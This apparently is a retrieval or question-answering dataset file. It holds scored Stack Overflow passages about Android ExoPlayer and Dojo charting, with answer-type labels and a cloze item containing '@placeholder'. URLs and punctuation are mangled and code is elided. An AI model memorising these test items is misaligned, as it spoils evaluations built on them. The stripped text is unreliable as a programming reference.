{ "confidence": [ 72.23983764648438, 67.07959747314453, 64.84256744384766, 63.773902893066406, 63.606319427490234, 62.86943435668945, 62.673927307128906, 62.32768630981445, 61.4310417175293, 60.9852409362793, 60.74188995361328, 59.82865905761719, 59.684478759765625, 59.36668395996094, 58.824710845947266, 58.74881362915039, 58.52263641357422, 57.8868522644043, 55.812034606933594, 54.05241012573242 ], "content": [ "Question : I want to implement video-player ExoPlayer in my android app . Player must play video not big 2-3 minutes from some url . On nexus-5 it works well but on phone Samsung GT-I8552 Galaxy Win unfortunately it doesnt work . There are exception logs after compiling and starting app : .. . .. . Internal runtime-error . java.lang.IllegalStateException .. . .. . at android.media.MediaCodec.dequeueOutputBuffer Native Method .. . .. . And this is my code : .. . .. . .. . .. . .. . My class CustomMediaPlayerControl : .. . .. . And my class CustomMediaController : .. . Answer : ExoPlayer have a minimal sdk level 16 requirement . ExoPlayer s standard audio and video components rely on Android s MediaCodec API which was released in Android 4.1 API level 16 . Hence they do not work on earlier versions of Android . From : https : google.github.io ExoPlayer guide.html https : google.github.io ExoPlayer guide.html", "Question : Hi I am looking for an example to configure ExoPlayer for DASH . But the example I found uses Youtube videos . Is there an example on videos which are not on youtube Can DASH be configured for any video on the internet Comment : can you please share the example link that streams videos from youtube . Comment : github.com google ExoPlayer https : github.com google ExoPlayer .. . Answer : Yes ExoPlayer can play any DASH SmoothStreaming HLS or MP4 Progressive download over HTTP URLs . The demo application provided in ExoPlayer source code can be modified to add any video that will be shown in the startup Activity . To do that edit https : github.com google ExoPlayer blob master demo src main java com google android-exoplayer demo Samples.java file to add a new sample set . Example : .. . .. . Now in https : github.com google ExoPlayer blob master demo src main java com google android-exoplayer demo SampleChooserActivity.java add a new row in sample adapter . Hope this answers your question . Comment : I ll try it and let u know", "Question : I m trying to use ExoPlayer instead of MediaPlayer because it s a common bug that MediaPlayer returns wrong getCurrentPosition and I need a substitute . But I can t find an info anywhere how to open a local file through the file path to the file same as MediaPlayer s .setDataSource String filepath .. . .. . Google doesn t have any example and the official documentation site strangely crash my FireFox browser on both computers Comment : Which bug is that Do you have a reference Comment : google.com https : www.google.com newwindow 1 q android+media+player+getcurrentposition+bug .. . Answer : The ExoPlayer demo app in github can be modified to play local files . To do that edit https : github.com google ExoPlayer blob master demo src main java com google android-exoplayer demo Samples.java file to add a new video set . To do that edit https : github.com google ExoPlayer blob master demo src main java com google android-exoplayer demo Samples.java file to add a new sample set .", "Question : I m trying to use ExoPlayer instead of MediaPlayer because it s a common bug that MediaPlayer returns wrong getCurrentPosition and I need a substitute . But I can t find an info anywhere how to open a local file through the file path to the file same as MediaPlayer s .setDataSource String filepath .. . .. . Google doesn t have any example and the official documentation site strangely crash my FireFox browser on both computers Comment : Which bug is that Do you have a reference Comment : google.com https : www.google.com newwindow 1 q android+media+player+getcurrentposition+bug .. . Answer : A minor modification with Srikanth Peddibhotla s code works .. . .. . The Uri string for the file should be file : mnt sdcard YourFilename.mp4 instead of mnt sdcard YourFilename.mp4 in Samples.java https : github.com google ExoPlayer blob master demo src main java com google android-exoplayer demo Samples.java .. . .. . Also add the following lines to SampleChooserActivity.java https : github.com google ExoPlayer blob master demo src main java com google android-exoplayer demo SampleChooserActivity.java", "Question : I m using Google new MediaPlayer named ExoPlayer and cannot find a way to mute the sound .. . .. . Is there an easy way to mute audio track on Google ExoPlayer Or changing volume .. . Answer : try .. . .. . analogous to this line of code https : github.com google ExoPlayer blob master demo src main java com google android-exoplayer demo player DemoPlayer.java L202 Comment : which is exactly the same as player.selectTrack FullPlayer.TYPE AUDIO -1 with ExoPlayer.TRACK DEFAULT . This is totaly not a good solution as unmuting the sound will have major delay", "Question : null .. . Answer : I m searching for 2 days to find out how to change the media controller in exoplayer and all resources refer to this link http : www.brightec.co.uk ideas custom-android-media-controller . please correct me if I m wrong but I think in this tutorial we can customize old media-player in android not exoplayer . Comment : as you can see in exoplayer demo player activity they are using mediacontroller instead of that you can make you own customize controller specified in that link", "Question : null .. . Answer : Good day I m working on an app for Android - online video-player . I m try to use ExoPlayer and MediaPlayer . Better for me - MediaPlayer ExoPlayer work slow with old devices . But with ExoPlayer i can get pixelWidthAspectRatio from stream . Is it possible to get this variable using MediaPayer All i found in ExoPlayer s sources : .. . .. . https : github.com google ExoPlayer blob b228ccd8d27f66f63e1c7c9983a5002efa43a4b5 library src main java com google android-exoplayer extractor ts H264Reader.java L221 .. . .. . https : github.com google ExoPlayer blob c9caaad50c4148a8c369816c100c170436a3d4d6 library src main java com google android-exoplayer util CodecSpecificDataUtil.java L36 .. . .. . Using this variable i can calculate aspect-ratio like this : .. . .. . As i understand this variable located in SPS data . But how i can extract this information", "Question : I ve been using ExoPlayer for the past couple of days until today which when I tried to build the project I found that there is a missing class named FrameworkSampleSource . I tried looking for it in Exoplayer s source but I can not find it anywhere . It even is gone from github http : google.github.io ExoPlayer doc reference com google android-exoplayer FrameworkSampleSource.html I wonder what s happened to it .. . Answer : ExoPlayer recently moved away from using Android s MediaExtractor so FrameworkSampleSource and DefaultSampleSource as it was named later were removed from the library . For traditional media playback not adaptive ExtractorSampleSource can be configured with an Extractor like Mp4Extractor . There is currently no automatic detection of the media type . https : google.github.io ExoPlayer guide.html traditional-media-playbacks Comment : The link is dead can you update Comment : The link was dead because DefaultSampleSource was removed from ExoPlayer . I ve updated my answer .", "Question : I am trying to switch from MediaPlayer in favor of ExoPlayer but I can t find any updated demo how can I use it.I think they have removed the FrameworkSampleSource method . I downloaded the demo from github but I can t find the implementation of player I could find the Samples object where the url s are added . I have a list of URL s that I want to be played.I am switching to exoPlayer because it s smoother than MediaPlayer.I have readed all StackOverflow topics about exoPlayer but none of them are updated . Can anyone give me an example how can implement it Thank you . .. . Answer : I had to replace MediaPlayer with ExoPlayer today for a radio streaming app . I made a post about it https : irpdevelop.wordpress.com 2016 01 25 exoplayer-add-simple-audio-player-to-android in case it would help anyone . It uses MediaCodecAudioTrackRenderer with ExtractorSampleSource since FrameworkSampleSource is deprecated .", "Question : I ve set up ExoPlayer to stream audio and it works beautifully on some devices I have eg my Nexus 5 but on others it simply doesn t play anything at all . To eliminate any issues with my app I ve modified the demo app by changing the Dizzy video to a random MP3 I ve got sitting on a server . In DefaultRendererBuilder I m also returning a null video track renderer and am only attempting to play audio . Obviously each device has its own set of codecs and so I suspected that maybe the wrong one was getting loaded and breaking . I ve seen a couple of points in the ExoPlayer source where a decoder is determined from a MIME type and I think I ve narrowed it down to a line in FrameworkSampleSource in the prepare method . As soon as setDataSource is called on the Huawei Mate 7 device I m using all hell breaks loose . It looks like the MediaExtractor uses FFMPEG to extract the data which does not seem to be compatible . Other devices I ve tested with do not appear to do this . Here s the dump from LogCat .. . .. . As you can see it doesn t seem to be able to detect the MIME type properly . If I pass in the EXACT SAME file that s a local version on disk it ll play just fine just not if it s on the server . FFMPEG doesn t seem to understand what the MIME is and just uses its own bastardised audio ffmeg mime instead . It seems to get the duration and such but just cannot play the file . If I set a listener on ExoPlayer I can see it move through each of the states - preparing buffering but NEVER ready . It will move from buffering to ended . While I m not sure this is an ExoPlayer-specific issue surely someone must have encountered something similar to this It s a pretty basic use-case - just playing an MP3 using the lines - .. . .. . Nothing too exciting there . What am I doing wrong What can I do to work around it I ve even passed in Content-Type : audio mpeg as a header and it does nothing . .. . Answer : To me this looks like a bug specific to Huawei Mate 7 s Android framework . The bug is that MediaExtractor does not work correctly for server hosted MP3 files . You could prove it by using the same server hosted MP3 URL and play it using some other app that uses Android s MediaPlayer . You will find innumerable sample code or APKs that use MediaPlayer online . Quick google-search gave http : examples.javacodegeeks.com android android-mediaplayer-example http : code.tutsplus.com tutorials create-a-music-player-on-android-song-playback--mobile-22778 Comment : You are correct after further research into the problem I came to the same conclusion . Amazingly on the same day you posted this response Google also responded to my Github ticket to say that they have now added an application-level extractor on to the Exoplayer dev branch github.com google ExoPlayer issues 136 https : github.com google ExoPlayer issues 136", "Question : I m using ExoPlayer https : developer.android.com guide topics media exoplayer.html in Android and I m trying to reproduce an encrypted video stored locally . The modularity of ExoPlayer allows to create custom components that can be injected in the ExoPlayer and this seems the case . Indeed after some researches I realized that for achive that task I could create a custom DataSource and overriding open read and close . I also find this solution http : upshots.org android android-play-encrypted-video-in-exoplayer but actually here the entire file is decrypted in one step and stored in a clear inputstream . This can be good in many situation . But what if I need to reproduce big file So the question is : how can I reproduce encrypted video in ExoPlayer decrypting content on-fly without decrypting the entire file Is this possibile I tried creating a custom DataSource that has the open method : .. . .. . And this is the read method : .. . .. . If instead of an encoded file I pass a clear file and just remove the CipherInputStream part then it works fine instead with encrypted file I obtain this error : .. . .. . EDIT : .. . .. . the encrypted video is generated in this way : .. . .. . Then the outputStream is saved into a File . Comment : Do you have an encrypted video Which encryption is it encrypted with Comment : I have edited my question .. . Answer : check your proxy given the following configuration . In the ExoPlayer demo app - DashRenderBuilder.java has a method filterHdContent this always returns true if device is not level 1 Assuming here it s L3 . This causes the player to disregard the HD AdaptionSet in the mpd whilst parsing it . You can set the filterHdContent to always return false if you want to play HD however it is typical of content owners to require a L1 Widevine implementation for HD content . check this link for more https : github.com google ExoPlayer issues 1116 https : github.com google ExoPlayer issues 1523", "Question : I am using Exoplayer to load videos from the Internet . When the videos is loaded and starts to display inside the container the video automatically stretches while the flag MediaCodec.VIDEO SCALING MODE SCALE TO FIT is set on the video renderer . Layout : .. . .. . The image is correctly displayed but not the video . Here are two examples to correctly illustrate the problem : .. . .. . This is the thumbnail inside the container This is the thumbnail inside the container http : i.stack.imgur.com PaMgc.jpg .. . .. . This is the video once it is loaded . You can see that it is stretched don t pay attention to the black lines this is a bad cropping This is the video once it is loaded http : i.stack.imgur.com r7JrD.jpg .. . .. . I guess I could be resizing the container according to the thumbnail size but that would mean that I would need to resize the container every time the video changes so I m trying to find a better way to do that . If anyone has a guess I m taking it .. . Answer : You can either use the Exoplayer AspectRatioFrameLayout https : github.com google ExoPlayer blob master library src main java com google android-exoplayer AspectRatioFrameLayout.java or in previous version they used a AspectRatioTextureView https : github.com HugoGresse SimpleExoPlayer blob master library src main java-io gresse hugo simpleexoplayer view AspectRatioTextureView.java . You ll need to receive the onVideoSizeChanged event and update the TextureView FrameLayout ratio :", "Question : I have tried this http : stackoverflow.com questions 24772985 how-can-i-design-the-custom-seekbar-in-android and this http : www.androidhive.info 2012 03 android-building-audio-player-tutorial for Design Custom Seekbar for ExoPlayer but no luck . I want to design custom thumb and ProgressBar for ExoPlayer . Following is the XML for ExoPlayer where I ve tried to put seekbar but it s not coming as expected . One more question is how can I have custom volume controls for ExoPlayer like we have it in MXPlayer https : play.google.com store apps details id com.mxtech.videoplayer.ad hl en vertical bar for volume . Update .. . .. . I have got the SeekBar using this method . Now the only thing is to get vertical volume control like MXPlayer . Comment : Hop i ll get answer ASAP . answer for what there is no question in your question.. . Comment : @pskink One more question is that can I have Custom Volume Controls for ExoPlayer like we have it in MXPlayer vertical bar for Volume . Now I ve My Question in BOLD font . Comment : MediaController is optionnal . You actually don t need it and you can write your own classes . .. . Answer : I ve created a solution which works at least for me anyway and creates a vertical SeekBar . Create Java class like this http : hackskrieg.wordpress.com 2012 04 20 working-vertical-seekbar-for-android Hope this will help you . If I read the ExoPlayer source code correctly you have to keep references to the audioRenderers you use when preparing the ExoPlayer instance . To change volume you have to send the following message : Comment : How can I Bind it with ExoPlayer volume Comment : Yes I ve read it but there was sendMessage for Audio On and Mute . I ll Try this and let you know Comment : ok try and give your feedback Comment : According to my answer here http : stackoverflow.com a 27404447 1377145 you can use the third parameter of sendMessage to pass the volume from 0.00f to 1f .", "Question : null .. . Answer : I am experimenting with ExoPlayer for Android and I would like to read off the byteArray obtained from read . . api .. . .. . http : google.github.io ExoPlayer doc reference com google android-exoplayer upstream DefaultUriDataSource.html .. . .. . Now I have access to the DataSource object from the Demo Sample but I don t seem to understand how to use the method . What I d like to do as an exercise is save all the bytes of the inputstream and write that to a file locally . After several attempts I keep running into IOException every single time . Any example or some direction would be most useful . Here is my code actually from the sample : .. . .. . The DataSource object of course gives access to the api but should I wait till the player is prepared", "Question : I m trying to create a Unity-based VR app that uses the Android ExoPlayer for video playback . Unity assets like EasyMovieTexture work great for the MediaPlayer but I need to use the ExoPlayer . I basically have the following : .. . .. . Java Android Library : .. . .. . C Unity : .. . .. . However I keep getting the following error when I call updateSurfaceImage each frame : .. . .. . ERROR : java.lang.IllegalStateException : Unable to update texture contents see logcat for details .. . .. . Any idea what might be going wrong Note : I ve used the Oculus MoviePlayerSample and got it to work with ExoPlayer . But the Oculus libraries don t work outside the GearVR . .. . Answer : SurfaceTexture in Android Docs http : developer.android.com reference android graphics SurfaceTexture.html say that .. . .. . updateTexImage may only be called on the thread with the OpenGL ES context that contains the texture object .. . .. . Also I think you have to set setOnFrameAvailableListener on that thread as well to let updateTexImage work not sure though .", "Question : I m using Google new MediaPlayer named ExoPlayer and cannot find a way to mute the sound .. . .. . Is there an easy way to mute audio track on Google ExoPlayer Or changing volume .. . Answer : I found two ways to achieve it by editing DemoPlayer https : github.com google ExoPlayer blob master demo src main java com google android-exoplayer demo player DemoPlayer.java L308 from ExoPlayer . Good one : .. . .. . Basicly you need to get the audioTrackRenderer which is a ExoPlayerComponent and send message to it . So : .. . .. . 1 . Add audioRenderer member and set it in onRenderers : .. . .. . Complete preparation . this.videoRenderer renderers TYPE VIDEO .. . this.audioRenderer renderers TYPE AUDIO .. . .. . .. . 2 . Add public-method : .. . .. . public void setMute boolean toMute .. . if toMute .. . player.sendMessage audioRenderer MediaCodecAudioTrackRenderer.MSG SET VOLUME 0f .. . else .. . player.sendMessage audioRenderer MediaCodecAudioTrackRenderer.MSG SET VOLUME 1f .. . .. . .. . .. . .. . Usage : .. . mute : player.setMute true .. . unmute : player.setMute false .. . .. . .. . .. . The other one : .. . .. . This is not a good solution has the player will need to rebuffer when unmuting . .. . Consist of changing the audio track to an empty one : Comment : Great solution I was using selectTrack way but the video stream rebuffed every time I selected different audio track .", "Question : null .. . Answer : I am new to Exoplayer and I know the primary goal of the library is to stream and play audio at a higher level than android s MediaCodec AudioTrack . I have noticed the github conversations about work arounds for mp3 decoding for older android API s devices . I wanted to take advantage of this work by using exoplayer to decode mp3 s and write them to disk . So I can process the PCM audio afterwards . My basic attempt at this was to make my own MediaCodecTrackRenderer based on the MediaCodecAudioTrackRenderer . My basic attempt was to put a FileOutputStream to write the buffer parameter in the method .. . .. . However the buffer that is passed in seems to still be encoded as an mp3 At least that is what the AudioTrack class thinks . Is what I am doing possible and in the right place in the decoding playing process of Exoplayer Any help would be greatly appreciated .", "Question : null .. . Answer : So I have a live-streaming app for android a want to check if a video is streaming right now is this this possible I use ExoPlayer with ExoMedia .", "Question : null .. . Answer : Hi i already created my app with exoplayer version r1.5.3 in android-studio when i try API 23 or 20 the app plays the stream without issues but if i go to API 19 i get this error : .. . .. . im using this to play : .. . .. . How i can fix this to play aac+ streams on API 19 and lower thank you", "Question : null .. . Answer : Hi i already added the exoplayer library to my proyect now im trying to build it but im getting this error : .. . .. . this is my root build.gradle .. . .. . how i can fix this i follow this tutorial Failed to apply plugin Android Studio http : stackoverflow.com questions 29776690 failed-to-apply-plugin-android-studio .. . .. . but no luck still same issue . thank you in advance ." ] }
[ "yes-answer-long", "yes-answer-short" ]
media-player
UNK_RELATION
dojox.charting@javascript@103
dojox.charting -- dojox.charting is a sub-library of the dojo toolkit which is an open-source modular @placeholder library designed to ease the rapid development of cross-platform javascript ajax-based applications and web sites .
{ "confidence": [ 51.78791427612305, 50.373291015625, 40.37255096435547, 33.707496643066406, 32.14368438720703, 30.258386611938477, 29.10043716430664, 28.80668830871582, 26.476844787597656, 25.305034637451172, 24.636436462402344, 24.466588973999023, 24.08965301513672, 24.006919860839844, 23.738502502441406, 23.738502502441406, 23.573917388916016, 23.573917388916016, 23.54058837890625, 23.47176170349121, 23.318157196044922, 22.905319213867188, 22.905319213867188, 22.905319213867188, 22.522201538085938, 22.522201538085938, 22.507217407226562, 22.507217407226562, 22.007387161254883, 22.007387161254883, 22.007387161254883, 22.007387161254883, 21.809471130371094, 21.704227447509766, 20.883852005004883, 20.883852005004883, 20.883852005004883, 20.883852005004883, 20.883852005004883, 20.85895538330078, 20.791086196899414, 20.791086196899414, 20.791086196899414, 20.791086196899414, 20.791086196899414, 20.791086196899414, 20.791086196899414, 20.791086196899414, 20.791086196899414, 20.531606674194336, 20.531606674194336, 20.46458625793457, 20.29325294494629, 20.29325294494629, 20.147706985473633, 20.147706985473633, 19.90594482421875, 19.642654418945312, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 19.152734756469727, 18.938369750976562, 18.758079528808594, 18.758079528808594, 18.758079528808594, 18.758079528808594, 18.605802536010742, 18.1500301361084, 18.1500301361084, 18.1500301361084, 18.1500301361084, 18.1500301361084, 18.1500301361084, 18.004302978515625, 17.607498168945312, 17.382596969604492, 17.382596969604492, 17.245922088623047 ], "content": [ "Using dojox.charting to create a column chart .", "I m using dojox.charting to draw some charts .", "Instead of using dojox.charting.StoreSeries I used the dojox.charting.DataSeries while using the same code and it worked .. . .. . addSeries My Month new dojox.charting .", "You need to use the source SDK version http : download.dojotoolkit.org release-1.9.1 dojo-release-1.9.1-src.tar.gz of the Dojo Toolkit .", "So your best bet is to use some Open Source libraries in JavaScript and integrate theme in your dojo application .", "That s how the dojo StackLine plot is designed .", "GET somepath js dojox.js 404 Not Found .. . .. . I don t understand why dojo is looking for dojox.js which is not part of even Dojo source .", "Hi I want to change the colors of series in Spider Chart for Dojo Library", "I have recently starting using the dojo library and I am currently having some formatting problems with my x-axis labels .", "I m using Dojo 1.9.1 .", "i have a dojo columns chart .", "This is on dojo 1.10", "This worked fine in Dojo 1.8 but it seems to be broken in Dojo 1.9 and on .", "yes tried that so there is no option in dojo which handles this itself right", "I create a line chart using dojo .", "For example if the X value is 1 dojo shows 1.0 .", "I m new to dojo charting .", "This isn t a dojo community .", "I have created Google map widget in Dojo using declare which has the method createMarker .", "I am working with Dojo 1.9.3 and want to have a pie-chart fill the space of it s container .", "New to Dojo .", "I m using dojo version 1.6 .", "Is there an option to achieve the same in dojo charts", "There is no helper for that in Dojo but it is relatively easy to do .", "But I realized that in earlier Dojo build I didn t select dojox package .", "I want to create a dojo chart with column bars both clustered and stacked .", "Tag Cloud with tool tip in DOJO Can any one suggest some TAGCloud Plugin avaliable in dojo .", "As far as I know there is no a Dojo Tag Cloud offered out of the box in dojo framework even using dojox .", "I made a dojo clustered column chart .", "Besides that they re not that active on SO at least not in the Dojo tag .", "I m using DOJO column charts in my application .", "Below is my example for dojo responsive chart.but not working .", "Remember you can add your own css styles to dojo widgets which should override defaults too .", "Dojo version : 1.10.4 downloaded 11 24 2015 When I create a new Tooltip there is an error returned : TypeError : invalid in operand source thrown from dojox lang utils.js line 46 if x in source", "We have been using Custom Dojo build and it is working fine for all the modules of Dijit and some of Dojox modules .", "After applying text values in dojo pie-chart I am unable to see percentage in the slice .", "Unfortunately Dojo charting only supports two axis per direction both axis being on different side of the chart .", "i have a dojo chart i need to use special-characters etc in the axis title .", "The problem is that dojo displays both values as doubles and i need both values to be displayed as integers .", "Am using Dojo Gridx in my project .", "Firstly say to all of you i am new to dojo charts .", "You re just missing the dojo css and the body class attribute .", "I seem to be having a problem with my dojo stacked column chart .", "@frank Dojo Version - 1.9 and Mozilla and IE browser is latest", "I need an example for adding data labels to dojo scatter chart .", "I have a stackedbar chart in Dojo that has 32 elements .", "I have created a dojo spider chart with the default-parameters .", "Is there an action or a patch to support right-click events on the Dojo Charts", "Code snippet for those that are interested : .. . .. . I ll put this on the dojo community forum .", "I am using Dojo s charting library to create a piechart .", "The library falls back to VML for non SVG supporting browsers .", "I think that this is something that may come along with dojo later on I know I ve read it in a sitepen tutorial before cant remember which right now .", "I m making an application where i have to get some data in a Dojo chart from server and i am new with Dojo .", "require dojo request dojo i18n RW nls appResources function request bundle request.get RW rest +that.resourcePath handleAs : J .then function J", "these are what I found but it didn t help .. . .. . add text to dojo chart in this case scatter chart http : stackoverflow.com questions 9134038 add-text-to-dojo-chart-in-this-case-scatter-chart .. . .. . http : jsfiddle.net kpy3B 33", "I am encountering errors such as described here http : stackoverflow.com questions 14711102 using-dojo-1-8-with-requirejs duplicated below only now with dojo 1.9.1 .", "Use a different charting library last resort .. . .. . I am using the dojox charting library and I cannot change the back end code that gives me the data .", "How can I resize the pie and spider chart in dojo .", "While creating a dynamic stacked Line chart in Dojo i use Chart object s addSeries method with response JSON array .", "If I remember correctly in Dojo each plot can only have one hAxis horizontal and one vAxis vertical .", "Now i am playing with dojo column chart and stacked chart.It works fine when the Page loads .", "I want to display stacked columns along with the clustered columns on the single graph using dojo 1.9 . see the below ref", "I am generating a lots of charts using dojocharts.Here one is major issues in dojo that is browser compatibility issues .", "It s just a wild guess but i know that dojo datagrids need to set the style property width and height to be shown .", "@sunman Please specify the Dojo Version Browser version Mozilla IE you are working testing for .", "You could try the dojo topic module publish and subscribe for communicating between objects .", "I m migrating a project from ASP Classic to ASP.Net and I was planning to upgrade our Dojo Framework while I am at it .", "Question : How can I build an X axis for a dojo chart from a Date column", "I m trying to create a custom addAxis function for the x axis of a Dojo multiseries line chart .", "May be this link http : stackoverflow.com questions 6948229 how-to-deal-with-overlapping-x-axis-labels-in-dojo-chart might help", "I went into the HTML with firebug it turns out it s both an HTML and a dojo issue .", "I am using Dojo Charts to create some line graphs and this is how the chart looks .. . .. . this id chartData : 0 0 0 0 65 223 .. . .. .", "can anyone tell me if it is possible to convert a dojo charting object into an mage file", "I could netiher find an example nor any other appropriate dojo function for that .", "I d like to implement a context menu over some of plot elements in a Dojo Chart .", "Unfortunately out of the box Dojo Chart supports only three events : click mouseover and mouseout .", "If you use d3 for charting you can use Dojo widget to add context menu to your d3 chart elements .", "When using the StackedAreas chart type Dojo seems to ignore my values inside the objects .", "Can anybody provide me with a simple example of how to use requirejs to load dojo modules", "document.addEventListener .. . .. . I have an existing backbone app that uses requirejs and am simply trying to integrate in dojo charting .", "So anyone please suggest me how can I make my dojo chart responsive .", "So kindly request to everbody and also dojo community please suggest for this question for responsive dojocharts .", "The library is creating VML textpaths as so : .. . .. . Does anyone know how I can add a linebreak to the textpaths string", "If one of the widgets is a child of the other one being used in the template of the other one for example you can use the name referenced in the data-dojo-attach-point variable to get your child widget instance and call the methods on it .", "So your parent widget may look like this : .. . .. . .. . .. . If both widgets are independant no parent widget that controls them then the best way of calling another widget is by using the dojo topic module .", "The following link shows a simple image of the type of chart that i need : .. . .. . https : drive.google.com file d 0B3lO44KK40FYYWlQVV84dTMwcjA edit usp sharing .. . .. . The same thing needs to be achieved using Dojo charts as well .", "I have been trying to get dojo charting working using the programmatic method.I have tried the following but the graph is not showing .. . .. . Where am I going wrong", "But the charts not appearing in Mozilla and IE browser it only shows in chrome.Some dojo functionality also not works.In my charts i am adding dojo indicators.If i adding indicators then the charts not display and if i remove indicator then the charts shows.But i want the charts will show both indicators and X Y axis .", "I can tell dojo to interpret the data between null values but I also want to have explicit null values e.g .", "You need to upgrade to dojo 1.9.7 at least to use this answer : .. . First of all You have to set a new option : labelStyle : outside .", "You need to upgrade to dojo 1.9.7 at least to use this answer : First of all You have to set a new option : labelStyle : outside .", "I can handle a right-click event on the container DOM node and then work my way down the chart but that does not feel the right Dojo way .", "Every Dojo chart that I have worked with has allowed for the use of an array of objects that contain the series of values and tooltips for each value point .", "I ve created a simple column chart using dojo version 1.8 and I want to add a highlight effect on mouseover for each column .", "I m trying to plot two charts having same legends selectable legends but different plotting values using DOJO charting .", "You can accomplish this with a simple javascript for-loop : .. . .. . See example http : jsfiddle.net adkGf", "When the chart renders it should create a surface based on the underlying node that the chart is built off of .", "So by changing the styling of the node that your chart is using then the chart should render based on that node .", "Adding height and width attributes as arguments to the addPlot function .. . Going through the source code to find a parameter ." ] }
{ "confidence": [ 58.27527618408203, 52.260902404785156, 35.604347229003906, 33.67713165283203, 32.89469909667969, 31.331655502319336, 27.219207763671875, 26.227922439575195, 26.063236236572266, 25.693241119384766, 25.584062576293945, 25.440845489501953, 25.221385955810547, 25.201894760131836, 24.992389678955078, 24.82251739501953, 24.65271759033203, 24.465696334838867, 24.4509334564209, 24.33437728881836 ], "content": [ "Question : I have been trying to get dojo charting working using the programmatic method.I have tried the following but the graph is not showing .. . .. . Where am I going wrong Please .. . .. . .. . Answer : Instead of using dojox.charting.StoreSeries I used the dojox.charting.DataSeries while using the same code and it worked .. . .. . addSeries My Month new dojox.charting . DataSeries mystore query : MyMonth . Thats it . Comment : Don t forget to accept answers this way http : meta.stackexchange.com a 5235 179541 even if they re yours -", "Question : null .. . Answer : I m using Dojo 1.9.1 . I m using dojox.charting to draw some charts . I am using a labelFunc to produce a date time label for my X-axis . This is working fine in all browsers . But I want to add a line break to my label so that the date sits above the time e.g . : .. . .. . I can add a html break tag to the string returned and this works in Chrome and Firefox but not IE9 to be expected . Has anybody solved how to do this one that works across all browsers including IE9 or specifically ones that don t do html labels . Cheers .. . .. . Ian .. . .. . .. . .. . My label func : Comment : can you provide the code for displaying the time Comment : I doubt that would help answer the question as it could be any long label that requires a line break . But I ll put my labelFunc above .", "Question : Tag Cloud with tool tip in DOJO Can any one suggest some TAGCloud Plugin avaliable in dojo . I need to refer that for my project . It will be great full if you share some working code . thanks in advance .. . Answer : As far as I know there is no a Dojo Tag Cloud offered out of the box in dojo framework even using dojox . So your best bet is to use some Open Source libraries in JavaScript and integrate theme in your dojo application .", "Question : Using dojox.charting to create a column chart . The x-axis labels are dates and only one label seems to print if the number of series is 10 or more even though dropLabels : false is being used . When I tweak the loop to stop at 9 iterations it prints all the labels just fine . As soon as it hits 10 items only one label will print . I even tried shortening the label length in case that did something but the same thing happened . Anyone know why this would happen Is it a bug or are we just doing something wrong Edit : I discovered something interesting . It s not just that only one label prints if you re at 10 or more iterations . Only the 10th label prints . 9 items http : i.stack.imgur.com DSUTS.png .. . .. . 10 items http : i.stack.imgur.com eGUUn.png .. . .. . 16 items http : i.stack.imgur.com 7J0lj.png .. . .. . Here s how the chart object is being instantiated . If more detail would be helpful I can provide it . Comment : You can try to examine generated SVG by using developer tools maybe these labels exist but hidden . Also create an example in jsfiddle.net if you can . Comment : Thanks for the suggestion . After inspecting the output the labels do not exist . There is only the one that is visible in the picture . When I changed it to only do 9 iterations I can find all the labels . So it s not that the HTML output has the div s and they re hidden there s just one being generated it seems . .. . Answer : Apparently the issue was related to the property majorTickStep . If it s not defined it seems to be defaulting to 10 if there are 10 or more series being displayed . When I explicitly set the value then the labels print as expected .", "Question : Can anybody provide me with a simple example of how to use requirejs to load dojo modules The requirejs.org website indicates it is best to use the dojo loader http : requirejs.org docs dojo.html until a ticket is resolved https : bugs.dojotoolkit.org ticket 15616 - but that ticket appears to be resolved and is now closed . I am encountering errors such as described here http : stackoverflow.com questions 14711102 using-dojo-1-8-with-requirejs duplicated below only now with dojo 1.9.1 . Error : .. . .. . TypeError : 3.add is not a function 3.add dom-addeventlistener document.addEventListener .. . .. . I have an existing backbone app that uses requirejs and am simply trying to integrate in dojo charting . .. . Answer : You need to use the source SDK version http : download.dojotoolkit.org release-1.9.1 dojo-release-1.9.1-src.tar.gz of the Dojo Toolkit . Built copies of AMD modules are not compatible between loaders . Comment : Very helpful - worked like a charm . Thanks . Comment : Confirmed this worked for me too . Though the link goes to 1.9 download.dojotoolkit.org http : download.dojotoolkit.org for all downloads", "Question : null .. . Answer : We have been using Custom Dojo build and it is working fine for all the modules of Dijit and some of Dojox modules . However when we try to do require dojox charting Chart or some other modules of Dojox it gives following javascript error . I looked at the modules closely and I found that each such modules use . to load the dependencies from relative paths . GET somepath js dojox.js 404 Not Found .. . .. . I don t understand why dojo is looking for dojox.js which is not part of even Dojo source . Any help will be highly appreciated . Comment : Hmm do any of the modules by chance have define dojox ... . in them I don t think that works anymore . Comment : Thanks for the suggestion . But I realized that in earlier Dojo build I didn t select dojox package . So in Dojo.js configuration was missing in package like dojox . . dojox . I just put that and it is working fine for me now .", "Question : I have recently starting using the dojo library and I am currently having some formatting problems with my x-axis labels . A few of the labels have longer names and thus there is some overlap going on . Is there some way to have the labels automatically space themselves or for longer labels to appear below the others so that they do not overlap the other labels I have tried using the rotation property bu I was not satisfied with the result . While it did prevent overlapping it also significantly reduced the area taken up by the actual chart . .. . Answer : You can also rotate the labels but using the rotation attribute . e.g .", "Question : null .. . Answer : I am trying to generate a responsive dojocharts for mobile and tablets . Here I had already trying though media-queries through CSS . but its not working properly . So anyone please suggest me how can I make my dojo chart responsive . Below is my example for dojo responsive chart.but not working . So kindly request to everbody and also dojo community please suggest for this question for responsive dojocharts . Comment : This isn t a dojo community . Please show us what have you done so far so we can help you . Comment : @MehulMohan..Here i am using this code for responsive through javascript var screenwidth window.innerWidth var pieradius 100 var pielabeloffset 4 var piestartangel 120 if screenwidth 600 pieradius 90 pielabeloffset 10 piestartangel 60 and also media-queries like media screen and max-width : 600px .chartDiv width : 100 Comment : @MehulMohan.suggest me how can i make my chart responsive .", "Question : I have recently starting using the dojo library and I am currently having some formatting problems with my x-axis labels . A few of the labels have longer names and thus there is some overlap going on . Is there some way to have the labels automatically space themselves or for longer labels to appear below the others so that they do not overlap the other labels I have tried using the rotation property bu I was not satisfied with the result . While it did prevent overlapping it also significantly reduced the area taken up by the actual chart . .. . Answer : The label shortening rules can be specified by parameters as follows : http : dojotoolkit.org reference-guide dojox charting.html 